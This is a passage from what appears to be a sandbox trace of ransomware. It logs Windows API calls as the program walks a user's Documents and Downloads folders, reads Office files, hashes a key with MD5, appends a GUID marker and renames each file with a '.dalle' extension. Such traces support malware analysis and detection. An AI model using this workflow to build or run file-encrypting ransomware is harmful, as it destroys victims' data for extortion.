pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.313] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.313] GetLastError () returned 0x0 [0120.313] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.313] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0120.313] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x35bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.313] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.313] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.313] CloseHandle (hObject=0x618) returned 1 [0120.314] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vqFDMq0vDJBGr2hc.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vqfdmq0vdjbgr2hc.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vqFDMq0vDJBGr2hc.docx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vqfdmq0vdjbgr2hc.docx.dalle")) returned 1 [0120.315] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa22462b0, ftCreationTime.dwHighDateTime=0x1d4de3a, ftLastAccessTime.dwLowDateTime=0x346ff3b0, ftLastAccessTime.dwHighDateTime=0x1d4cdaf, ftLastWriteTime.dwLowDateTime=0x346ff3b0, ftLastWriteTime.dwHighDateTime=0x1d4cdaf, nFileSizeHigh=0x0, nFileSizeLow=0xe3c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YbrQBo2.docx", cAlternateFileName="YBRQBO~1.DOC")) returned 1 [0120.315] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YbrQBo2.docx") returned=".docx" [0120.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YbrQBo2.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ybrqbo2.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.316] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=58304) returned 1 [0120.316] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.317] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe39a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.317] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.319] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xe3c0, lpOverlapped=0x0) returned 1 [0120.320] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.320] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.320] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.320] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0120.320] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.320] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.320] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.321] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.321] GetLastError () returned 0x0 [0120.321] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.321] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0120.321] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe3c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.321] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.321] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.321] CloseHandle (hObject=0x618) returned 1 [0120.322] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YbrQBo2.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ybrqbo2.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YbrQBo2.docx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ybrqbo2.docx.dalle")) returned 1 [0120.323] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e9a3f0, ftCreationTime.dwHighDateTime=0x1d4f2fa, ftLastAccessTime.dwLowDateTime=0xdc3921e0, ftLastAccessTime.dwHighDateTime=0x1d52889, ftLastWriteTime.dwLowDateTime=0xdc3921e0, ftLastWriteTime.dwHighDateTime=0x1d52889, nFileSizeHigh=0x0, nFileSizeLow=0x11630, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ydHK_AJbvu6-wWm.pptx", cAlternateFileName="YDHK_A~1.PPT")) returned 1 [0120.323] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ydHK_AJbvu6-wWm.pptx") returned=".pptx" [0120.323] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ydHK_AJbvu6-wWm.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ydhk_ajbvu6-wwm.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.324] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=71216) returned 1 [0120.324] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.325] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1160a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.325] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.326] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x11630, lpOverlapped=0x0) returned 1 [0120.327] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.327] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.327] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.327] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0120.328] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.328] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.328] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.328] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.328] GetLastError () returned 0x0 [0120.328] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.328] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0120.329] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x11630, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.329] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.329] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.329] CloseHandle (hObject=0x618) returned 1 [0120.330] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ydHK_AJbvu6-wWm.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ydhk_ajbvu6-wwm.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ydHK_AJbvu6-wWm.pptx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ydhk_ajbvu6-wwm.pptx.dalle")) returned 1 [0120.331] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b32cd00, ftCreationTime.dwHighDateTime=0x1d4c6a2, ftLastAccessTime.dwLowDateTime=0x42878e50, ftLastAccessTime.dwHighDateTime=0x1d4d3ad, ftLastWriteTime.dwLowDateTime=0x42878e50, ftLastWriteTime.dwHighDateTime=0x1d4d3ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YSKur86t", cAlternateFileName="")) returned 1 [0120.331] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4324b30, ftCreationTime.dwHighDateTime=0x1d4ae15, ftLastAccessTime.dwLowDateTime=0x1869b520, ftLastAccessTime.dwHighDateTime=0x1d4f285, ftLastWriteTime.dwLowDateTime=0x1869b520, ftLastWriteTime.dwHighDateTime=0x1d4f285, nFileSizeHigh=0x0, nFileSizeLow=0x12eed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YuznX2-DO1aKAcy18.xlsx", cAlternateFileName="YUZNX2~1.XLS")) returned 1 [0120.331] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YuznX2-DO1aKAcy18.xlsx") returned=".xlsx" [0120.331] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YuznX2-DO1aKAcy18.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yuznx2-do1akacy18.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.331] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=77549) returned 1 [0120.331] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.332] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12ec7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.333] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.334] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x12eed, lpOverlapped=0x0) returned 1 [0120.335] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.335] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.335] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.335] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0120.336] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.336] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.336] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.336] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.336] GetLastError () returned 0x0 [0120.336] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.336] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0120.337] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12eed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.337] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.337] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.337] CloseHandle (hObject=0x618) returned 1 [0120.338] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YuznX2-DO1aKAcy18.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yuznx2-do1akacy18.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YuznX2-DO1aKAcy18.xlsx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yuznx2-do1akacy18.xlsx.dalle")) returned 1 [0120.339] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4324b30, ftCreationTime.dwHighDateTime=0x1d4ae15, ftLastAccessTime.dwLowDateTime=0x1869b520, ftLastAccessTime.dwHighDateTime=0x1d4f285, ftLastWriteTime.dwLowDateTime=0x1869b520, ftLastWriteTime.dwHighDateTime=0x1d4f285, nFileSizeHigh=0x0, nFileSizeLow=0x12eed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YuznX2-DO1aKAcy18.xlsx", cAlternateFileName="YUZNX2~1.XLS")) returned 0 [0120.339] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0120.339] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0120.339] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0120.339] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0120.339] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.339] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0120.339] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0120.339] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0120.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0120.340] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0120.340] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.340] PathFindFileNameW (pszPath="") returned="" [0120.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.340] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0120.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.340] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.340] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0120.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8e) returned 0x2f61740 [0120.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.340] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini") returned=".ini" [0120.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0120.340] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0120.340] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0120.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0120.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.340] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0120.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.340] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0120.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0120.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.342] HeapFree 